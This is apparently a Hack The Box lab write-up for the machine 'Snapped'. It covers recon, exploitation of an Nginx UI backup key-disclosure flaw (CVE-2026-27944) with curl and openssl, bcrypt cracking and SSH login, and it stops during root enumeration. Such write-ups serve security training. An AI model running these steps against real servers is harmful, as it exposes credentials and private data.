HTB: Snapped
Snapped is a Linux box hosting a static site behind nginx, with an Nginx UI admin panel. I’ll exploit CVE-2026-27944 to decrypt a backup download from the Nginx UI to find bcrypt password hashes in a SQLite database. I’ll crack one to get SSH access. To escalate to root, I’ll exploit CVE-2026-3888, a recent vulnerability in snapd where systemd-tmpfiles deletes snap-confine’s private temp directory, allowing me to win a race condition and replace the dynamic linker with a malicious payload that runs as root.
Box Info
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.17.88
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-29 19:18 UTC
...[snip]...
Nmap scan report for 10.129.17.88
Host is up, received reset ttl 63 (0.024s latency).
Scanned at 2026-03-29 19:18:57 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
Raw packets sent: 69155 (3.043MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.17.88
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-29 19:23 UTC
Nmap scan report for 10.129.17.88
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_ 256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 24.04 noble LTS.
Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Subdomain Brute Force
There’s a redirect to snapped.htb on port 80. I’ll use ffuf to bruteforce for subdomains that respond differently:
oxdf@hacky$ ffuf -u http://10.129.17.88 -H 'Host: FUZZ.snapped.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.17.88
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.snapped.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
admin [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 31ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1785 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
I’ll update my hosts file:
10.129.17.88 snapped.htb admin.snapped.htb
I’ll rescan port 80 with the hostname, but not find anything interesting.
snapped.htb - TCP 80
Site
The site is for an infrastructure orchestration platform:
All of the links lead to anchor points on the page. There is an email address, contact@snapped.htb.
Tech Stack
The HTTP response headers show it’s nginx but not much else:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 29 Mar 2026 19:41:19 GMT
Content-Type: text/html
Last-Modified: Thu, 19 Mar 2026 15:11:44 GMT
Connection: keep-alive
ETag: W/"69bc1230-4ee7"
Content-Length: 20199
The main page loads as index.html, suggesting a static site.
The 404 page is the default nginx 404:
Directory Brute Force
I’ll run feroxbuster against the site, and include -x html as the main page is .html:
oxdf@hacky$ feroxbuster -u http://snapped.htb -x html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://snapped.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 553l 1927w 17808c http://snapped.htb/style.css
200 GET 539l 1856w 20199c http://snapped.htb/
200 GET 539l 1856w 20199c http://snapped.htb/index.html
[####################] - 29s 30001/30001 0s found:3 errors:2
[####################] - 28s 30000/30000 1067/s http://snapped.htb/
Nothing interesting.
admin.snapped.htb - TCP 80
Site
The admin page loads an instance of Nginx UI:
Not much I can do legitimately without creds.
Tech Stack
The HTTP response headers show just Nginx 1.24.0:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 29 Mar 2026 20:02:37 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Request-Id: 6a5e2699-e68c-4fe8-8650-486a166a9274
Content-Length: 1407
The site is Nginx UI. The GitHub page shows it’s written in Go on the backend and JavaScript / TypeScript / Vue on the frontend.
The copyright shows 2021-2026, which implies it’s at least up to date within 2 months of release.
The 404 page is just a JSON blob:
oxdf@hacky$ curl -v http://admin.snapped.htb/asdf
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.17.88
* Trying 10.129.17.88:80...
* Connected to admin.snapped.htb (10.129.17.88) port 80
> GET /asdf HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Server: nginx/1.24.0 (Ubuntu)
< Date: Sun, 29 Mar 2026 20:44:00 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 23
< Connection: keep-alive
< Request-Id: d646226b-4fa8-4b66-9e0d-0e5022e0841b
<
* Connection #0 to host admin.snapped.htb left intact
{"message":"not found"}
On just loading the main page, Burp shows several calls to /api paths:
To find the version of Nginx UI running, I’ll look for the JavaScript loaded in the main page:
oxdf@hacky$ curl http://admin.snapped.htb/ -s | grep -P '.js\b'
<script type="module" crossorigin src="./assets/index-DoHxQupa.js"></script>
Inside that file are two references to JavaScript files starting with “version”:
oxdf@hacky$ curl http://admin.snapped.htb/assets/index-DoHxQupa.js -s | grep -oP 'version[-\w]*\.js'
version-BWPlJ0ga.js
version-CdjIlmL0.js
The first one has the version:
oxdf@hacky$ curl http://admin.snapped.htb/assets/version-BWPlJ0ga.js
const t="2.3.2";const o={version:t,build_id:1,total_build:512};export{o as a,t as v};
oxdf@hacky$ curl http://admin.snapped.htb/assets/version-CdjIlmL0.js
import{$ as e}from"./index-DoHxQupa.js";const a={53001:()=>e("Invalid commit SHA"),53002:()=>e("Release API request failed: {0}")};export{a as default};
It’s version 2.3.2.
Directory Brute Force
oxdf@hacky$ feroxbuster -u http://admin.snapped.htb/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://admin.snapped.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 6l 17w 1344c http://admin.snapped.htb/favicon-32x32.png
200 GET 30l 282w 11373c http://admin.snapped.htb/pwa-192x192.png
200 GET 63l 116w 1316c http://admin.snapped.htb/manifest.json
200 GET 9l 12w 243c http://admin.snapped.htb/browserconfig.xml
301 GET 0l 0w 0c http://admin.snapped.htb/assets => assets/
404 GET 212l 423w 12987c http://admin.snapped.htb/assets/
200 GET 106l 588w 50147c http://admin.snapped.htb/pwa-512x512.png
200 GET 64l 142w 75487c http://admin.snapped.htb/favicon.ico
200 GET 1l 8254w 308866c http://admin.snapped.htb/assets/index-Cjd4fVAL.css
403 GET 1l 2w 34c http://admin.snapped.htb/mcp
200 GET 624l 38187w 2050223c http://admin.snapped.htb/assets/index-DoHxQupa.js
200 GET 50l 104w 1407c http://admin.snapped.htb/
[####################] - 27s 60012/60012 0s found:12 errors:0
[####################] - 26s 30000/30000 1135/s http://admin.snapped.htb/
[####################] - 26s 30000/30000 1137/s http://admin.snapped.htb/assets/
I know there’s a /api path based on the requests made from the page. I’ll fuzz that as well:
oxdf@hacky$ feroxbuster -u http://admin.snapped.htb/api
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://admin.snapped.htb/api
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 1l 2w 34c http://admin.snapped.htb/api/user
403 GET 1l 2w 34c http://admin.snapped.htb/api/sites
200 GET 1l 1w 29c http://admin.snapped.htb/api/install
403 GET 1l 2w 34c http://admin.snapped.htb/api/node
403 GET 1l 2w 34c http://admin.snapped.htb/api/config
403 GET 1l 2w 34c http://admin.snapped.htb/api/users
200 GET 71l 452w 32934c http://admin.snapped.htb/api/backup
403 GET 1l 2w 34c http://admin.snapped.htb/api/events
403 GET 1l 2w 34c http://admin.snapped.htb/api/settings
403 GET 1l 2w 34c http://admin.snapped.htb/api/configs
403 GET 1l 2w 34c http://admin.snapped.htb/api/certs
403 GET 1l 2w 34c http://admin.snapped.htb/api/notifications
403 GET 1l 2w 34c http://admin.snapped.htb/api/streams
200 GET 1l 9w 52782c http://admin.snapped.htb/api/licenses
403 GET 1l 2w 34c http://admin.snapped.htb/api/analytic
403 GET 1l 2w 34c http://admin.snapped.htb/api/nodes
[####################] - 17s 30002/30002 0s found:16 errors:0
[####################] - 16s 30000/30000 1876/s http://admin.snapped.htb/api/
Most of the endpoints return 403 Forbidden, but there are three that return 200 (install, backup, and licenses).
/api/install seems locked (presumably preventing it from being run again without auth):
oxdf@hacky$ curl http://admin.snapped.htb/api/install
{"lock":true,"timeout":false}
/api/licenses is a very long JSON blob with each dependency and its license:
oxdf@hacky$ curl http://admin.snapped.htb/api/licenses -s | jq . | head -20
{
"backend": [
{
"name": "Go Programming Language",
"license": "BSD-3-Clause",
"url": "https://golang.org",
"version": "go1.25.5"
},
{
"name": "gorm.io/gorm",
"license": "Unknown",
"url": "https://gorm.io/gorm",
"version": "v1.31.1"
},
{
"name": "cloud.google.com/go/auth/oauth2adapt",
"license": "Apache-2.0",
"url": "https://cloud.google.com/go/auth/oauth2adapt",
"version": "v0.2.8"
},
Backup
/api/backup returns a binary file:
oxdf@hacky$ curl http://admin.snapped.htb/api/backup
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
Downloading it shows it’s a zip archive:
oxdf@hacky$ wget http://admin.snapped.htb/api/backup
--2026-03-29 22:20:09-- http://admin.snapped.htb/api/backup
Resolving admin.snapped.htb (admin.snapped.htb)... 10.129.17.88
Connecting to admin.snapped.htb (admin.snapped.htb)|10.129.17.88|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18306 (18K) [application/zip]
Saving to: ‘backup’
backup 100%[============================================================>] 17.88K --.-KB/s in 0.02s
2026-03-29 22:20:09 (829 KB/s) - ‘backup’ saved [18306/18306]
oxdf@hacky$ file backup
backup: Zip archive data, at least v2.0 to extract, compression method=deflate
The zip has three files:
oxdf@hacky$ unzip -l backup
Archive: backup
Length Date Time Name
--------- ---------- ----- ----
208 2026-03-29 22:20 hash_info.txt
7696 2026-03-29 22:20 nginx-ui.zip
9952 2026-03-29 22:20 nginx.zip
--------- -------
17856 3 files
I’ll unzip these files:
oxdf@hacky$ mv backup backup.zip
oxdf@hacky$ mkdir backup
oxdf@hacky$ unzip backup.zip -d backup
Archive: backup.zip
inflating: backup/hash_info.txt
inflating: backup/nginx-ui.zip
inflating: backup/nginx.zip
Despite the file extensions, all three register as data:
oxdf@hacky$ file *
hash_info.txt: data
nginx-ui.zip: data
nginx.zip: data
If these were well structured zip archives, file would show that. It turns out that these files are encrypted (so file identifies the random noise as unknown “data”).
Shell as jonathan
CVE-2026-27944
Identify
Searching for CVEs in Nginx UI returns a couple different CVEs:
Given that this machine was released out of cycle, it’s almost certainly the 2026 CVE. Already knowing the version is 2.3.2 quickly rules out CVE-2024-22198, which was patched in 2.0.0.
Background
NIST describes CVE-2026-27944 as:
Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.
I noted above the /api/backup endpoint and that it is accessible without auth, and that the downloaded files are encrypted. This says that the keys needed to decrypt the file are passed in the X-Backup-Security response header.
A blog post from CVEReports, CVE-2026-27944: Unauthenticated Backup Download and Encryption Key Disclosure in Nginx UI, walks through the details as well as how to exploit it.
Recover Key Material
The key and IV are passed in the X-Backup-Security response header. I’ll use curl to see these:
oxdf@hacky$ curl http://admin.snapped.htb/api/backup -v
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.17.88
* Trying 10.129.17.88:80...
* Connected to admin.snapped.htb (10.129.17.88) port 80
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Sun, 29 Mar 2026 22:27:06 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260329-182706.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Sun, 29 Mar 2026 22:27:06 GMT
< Pragma: public
< Request-Id: e8ad79ec-1806-4460-8bcd-b5f034f519a9
< X-Backup-Security: 51w63Jx8Jn1lUqXe1LYTaJ4nGeBMqq+rANajEGZ8REs=:ZWKLRZftqWgx1xaPCrlz/g==
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
* Failure writing output to destination
* Closing connection
The header has two base64-encoded strings, joined by a “:”. It changes on every request.
Decrypt Backups
I’ll delete previous downloaded backups and save a fresh one (using -o), this time also seeing the response headers:
oxdf@hacky$ curl http://admin.snapped.htb/api/backup -v -o backup.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.17.88
* Trying 10.129.17.88:80...
* Connected to admin.snapped.htb (10.129.17.88) port 80
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Sun, 29 Mar 2026 22:36:39 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260329-183639.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Sun, 29 Mar 2026 22:36:39 GMT
< Pragma: public
< Request-Id: 85bd6907-fb2b-4453-b974-a3df2d860608
< X-Backup-Security: v6MVybpaJJ6L4DE4uQljSAd5JIVgdoyI1Cj7RTyyeV8=:xGJoMQ5IYESLQdSoYcwt3A==
<
{ [3476 bytes data]
100 18306 100 18306 0 0 216k 0 --:--:-- --:--:-- --:--:-- 215k
* Connection #0 to host admin.snapped.htb left intact
oxdf@hacky$ file backup.zip
backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
The first blob from the header decodes to exactly 32 random-looking bytes:
oxdf@hacky$ echo v6MVybpaJJ6L4DE4uQljSAd5JIVgdoyI1Cj7RTyyeV8= | base64 -d | xxd
00000000: bfa3 15c9 ba5a 249e 8be0 3138 b909 6348 .....Z$...18..cH
00000010: 0779 2485 6076 8c88 d428 fb45 3cb2 795f .y$.`v...(.E<.y_
This is the key, and I’ll get a raw hex copy of it using -p to show the raw output and -c 0 to put it all on one line:
oxdf@hacky$ echo v6MVybpaJJ6L4DE4uQljSAd5JIVgdoyI1Cj7RTyyeV8= | base64 -d | xxd -p -c 0
bfa315c9ba5a249e8be03138b90963480779248560768c88d428fb453cb2795f
The IV is exactly 16 bytes:
oxdf@hacky$ echo xGJoMQ5IYESLQdSoYcwt3A== | base64 -d | xxd
00000000: c462 6831 0e48 6044 8b41 d4a8 61cc 2ddc .bh1.H`D.A..a.-.
oxdf@hacky$ echo xGJoMQ5IYESLQdSoYcwt3A== | base64 -d | xxd -p -c 0
c46268310e4860448b41d4a861cc2ddc
I’ll extract the archive into a directory:
oxdf@hacky$ unzip backup.zip -d backup
Archive: backup.zip
inflating: backup/hash_info.txt
inflating: backup/nginx-ui.zip
inflating: backup/nginx.zip
The CVEReports post shows using Python to decrypt. I’ll use openssl:
oxdf@hacky$ openssl enc -aes-256-cbc -d -in hash_info.txt -out hash_info_dec.txt -K bfa315c9ba5a249e8be03138b90963480779248560768c88d428fb453cb2795f -iv c46268310e4860448b41d4a861cc2ddc
oxdf@hacky$ cat hash_info_dec.txt
nginx-ui_hash: 7541765e19689be9ab20b6c3d0b3190287a6ec2c1332f463641b6c4bdca1040e
nginx_hash: 71bc59f8eaf4a28ebd166fefdc28774340a6714db577ec633cd37ccb56e9b09d
timestamp: 20260329-183639
version: 2.3.2
It worked! The result is a plaintext file.
I’ll decrypt the other two:
oxdf@hacky$ openssl enc -aes-256-cbc -d -in nginx.zip -out nginx_dec.zip -K bfa315c9ba5a249e8be03138b90963480779248560768c88d428fb453cb2795f -iv c46268310e4860448b41d4a861cc2ddc
oxdf@hacky$ openssl enc -aes-256-cbc -d -in nginx-ui.zip -out nginx-ui_dec.zip -K bfa315c9ba5a249e8be03138b90963480779248560768c88d428fb453cb2795f -iv c46268310e4860448b41d4a861cc2ddc
oxdf@hacky$ file *_dec*
hash_info_dec.txt: ASCII text
nginx_dec.zip: Zip archive data, at least v2.0 to extract, compression method=store
nginx-ui_dec.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
The hashes match the values given in hash_info.txt:
oxdf@hacky$ sha256sum nginx*_dec.zip
71bc59f8eaf4a28ebd166fefdc28774340a6714db577ec633cd37ccb56e9b09d nginx_dec.zip
7541765e19689be9ab20b6c3d0b3190287a6ec2c1332f463641b6c4bdca1040e nginx-ui_dec.zip
Backups
nginx
I’ll decompress the Nginx backup:
oxdf@hacky$ unzip nginx_dec.zip -d nginx
Archive: nginx_dec.zip
creating: nginx/conf.d/
inflating: nginx/fastcgi.conf
inflating: nginx/fastcgi_params
inflating: nginx/koi-utf
inflating: nginx/koi-win
inflating: nginx/mime.types
creating: nginx/modules-available/
creating: nginx/modules-enabled/
inflating: nginx/nginx.conf
inflating: nginx/proxy_params
inflating: nginx/scgi_params
creating: nginx/sites-available/
inflating: nginx/sites-available/nginx-ui
inflating: nginx/sites-available/snapped
creating: nginx/sites-enabled/
inflating: nginx/sites-enabled/nginx-ui -> /etc/nginx/sites-available/nginx-ui
inflating: nginx/sites-enabled/snapped -> /etc/nginx/sites-available/snapped
creating: nginx/snippets/
inflating: nginx/snippets/fastcgi-php.conf
inflating: nginx/snippets/snakeoil.conf
inflating: nginx/uwsgi_params
inflating: nginx/win-utf
finishing deferred symbolic links:
nginx/sites-enabled/nginx-ui -> /etc/nginx/sites-available/nginx-ui
nginx/sites-enabled/snapped -> /etc/nginx/sites-available/snapped
In sites-enabled I’ll see two:
oxdf@hacky$ ls -l sites-enabled/
total 0
lrwxrwxrwx 1 oxdf oxdf 35 Mar 29 22:55 nginx-ui -> /etc/nginx/sites-available/nginx-ui
lrwxrwxrwx 1 oxdf oxdf 34 Mar 29 22:55 snapped -> /etc/nginx/sites-available/snapped
The symlinks don’t work here, but I’ll find the files in sites-available. snapped is for the main site:
server {
listen 80 default_server;
server_name snapped.htb;
root /var/www/html/snapped;
index index.html;
if ($host != snapped.htb) {
rewrite ^ http://snapped.htb/;
}
location / {
try_files $uri $uri/ =404;
}
}
It has a rewrite rule for any host that isn’t snapped.htb. The web root is /var/www/html/snapped.
nginx-ui does a proxy to TCP 9000:
server {
listen 80;
server_name admin.snapped.htb;
location / {
proxy_pass http://127.0.0.1:9000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}
There’s nothing else really interesting in this backup.
nginx-ui
This backup only has two files:
oxdf@hacky$ unzip nginx-ui_dec.zip -d nginx-ui
Archive: nginx-ui_dec.zip
inflating: nginx-ui/app.ini
inflating: nginx-ui/database.db
app.ini has 122 lines of config, but nothing super interesting. The admin’s email is admin@test.htb.
database.db is a SQLite database:
oxdf@hacky$ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3050004, file counter 79, database pages 64, cookie 0x39, schema 4, UTF-8, version-valid-for 79
There’s a bunch of tables:
oxdf@hacky$ sqlite3 database.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
acme_users configs namespaces sites
auth_tokens dns_credentials nginx_log_indices streams
auto_backups dns_domains nodes upstream_configs
ban_ips external_notifies notifications users
certs llm_sessions passkeys
config_backups migrations site_configs
The most interesting data is in the users table:
sqlite> .headers on
sqlite> select * from users;
id|created_at|updated_at|deleted_at|name|password|status|otp_secret|recovery_codes|language
1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||g
|7ĝ*:(\DO}u#,|en
2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||,զH։e)5UZKĦ"DW|en
There are two users, admin and jonathan.
Shell
Crack Password
I’ll save the two hashes to a file. They are bcrypt, which are very slow to crack, but I’ll give it a try. hashcat is not able to determine the hash format:
$ hashcat hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
The following 6 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
25600 | bcrypt(md5($pass)) | Generic KDF
25800 | bcrypt(sha1($pass)) | Generic KDF
30600 | bcrypt(sha256($pass)) | Generic KDF
28400 | bcrypt(sha512($pass)) | Generic KDF
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
33800 | WBB4 (Woltlab Burning Board) [bcrypt(bcrypt($pass))] | Forums, CMS, E-Commerce
...[snip]...
3200 is straight bcrypt, so I’ll start there:
$ hashcat hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 3200
hashcat (v7.1.2) starting
...[snip]...
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark
...[snip]...
The hash for jonathan cracks very quickly. The other doesn’t crack in 5 minutes or so and I’ll kill hashcat.
SSH
Before I start spraying the password across different names, or confirming the creds work for the website (they do), I’ll see if it works for jonathan over SSH, and it does:
oxdf@hacky$ netexec ssh snapped.htb -u jonathan -p linkinpark
SSH 10.129.17.88 22 snapped.htb SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.15
SSH 10.129.17.88 22 snapped.htb [+] jonathan:linkinpark Linux - Shell access!
I’ll connect:
oxdf@hacky$ sshpass -p linkinpark ssh jonathan@snapped.htb
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)
...[snip]...
jonathan@snapped:~$
And grab user.txt:
jonathan@snapped:~$ cat user.txt
090aa3c5************************
Shell as root
Enumeration
Users
The jonathan user’s home directory looks like a Desktop install of Ubuntu:
jonathan@snapped:~$ ls -la
total 76
drwxr-x--- 15 jonathan jonathan 4096 Mar 20 12:28 .
drwxr-xr-x 3 root root 4096 Mar 20 11:38 ..
-rw-r--r-- 1 root jonathan 0 Mar 20 12:28 .bash_history
-rw-r--r-- 1 jonathan jonathan 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 jonathan jonathan 3771 Mar 31 2024 .bashrc
drwx------ 9 jonathan jonathan 4096 Mar 20 11:38 .cache
drwx------ 12 jonathan jonathan 4096 Mar 20 11:38 .config
drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Desktop
drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Documents
drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Downloads
drwx------ 4 jonathan jonathan 4096 Mar 20 11:38 .local
drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Music
drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Pictures
-rw-r--r-- 1 jonathan jonathan 807 Mar 31 2024 .profile
drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Public
drwx------ 4 jonathan jonathan 4096 Mar 29 21:00 snap
drwx------ 2 jonathan jonathan 4096 Mar 20 11:38 .ssh
drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Templates
-rw-r----- 1 root jonathan 33 Mar 29 15:06 user.txt
drwxr-xr-x 2 jonathan jonathan 4096 Mar 20 11:38 Videos
There’s not much interesting here. The jonathan user can’t run sudo on Snapped, and they don’t have any unusual groups:
jonathan@snapped:~$ sudo -l
[sudo] password for jonathan:
Sorry, user jonathan may not run sudo on snapped.
jonathan@snapped:~$ id
uid=1000(jonathan) gid=1000(jonathan) groups=1000(jonathan)
There are no other users with home directories in /home or non-root users with shells configured in passwd:
jonathan@snapped:/home$ ls
jonathan
jonathan@snapped:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
jonathan:x:1000:1000:user:/home/jonathan:/bin/bash
Filesystem
The filesystem root looks standard:
jonathan@snapped:/$ ls -l
total 88
lrwxrwxrwx 1 root root 7 Apr 22 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Mar 20 11:38 bin.usr-is-merged
drwxr-xr-x 5 root root 4096 Mar 20 11:11 boot
dr-xr-xr-x 2 root root 4096 Mar 20 11:38 cdrom
drwxr-xr-x 19 root root 4020 Mar 29 15:07 dev
drwxr-xr-x 141 root root 12288 Mar 20 12:05 etc
drwxr-xr-x 3 root root 4096 Mar 20 11:38 home
lrwxrwxrwx 1 root root 7 Apr 22 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 22 2024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Apr 8 2024 lib.usr-is-merged
drwx------ 2 root root 16384 Mar 18 17:08 lost+found
drwxr-xr-x 2 root root 4096 Mar 20 11:38 media
drwxr-xr-x 2 root root 4096 Aug 27 2024 mnt
drwxr-xr-x 2 root root 4096 Mar 20 11:38 opt
dr-xr-xr-x 352 root root 0 Mar 29 15:06 proc
drwx------ 7 root root 4096 Mar 29 15:06 root
drwxr-xr-x 41 root root 1080 Mar 29 21:25 run
lrwxrwxrwx 1 root root 8 Apr 22 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Mar 20 11:38 sbin.usr-is-merged
drwxr-xr-x 12 root root 4096 Mar 20 11:38 snap
drwxr-xr-x 2 root root 4096 Aug 27 2024 srv
dr-xr-xr-x 13 root root 0 Mar 29 21:28 sys
drwxrwxrwt 17 root root 4096 Mar 29 19:51 tmp
drwxr-xr-x 12 root root 4096 Mar 20 11:38 usr
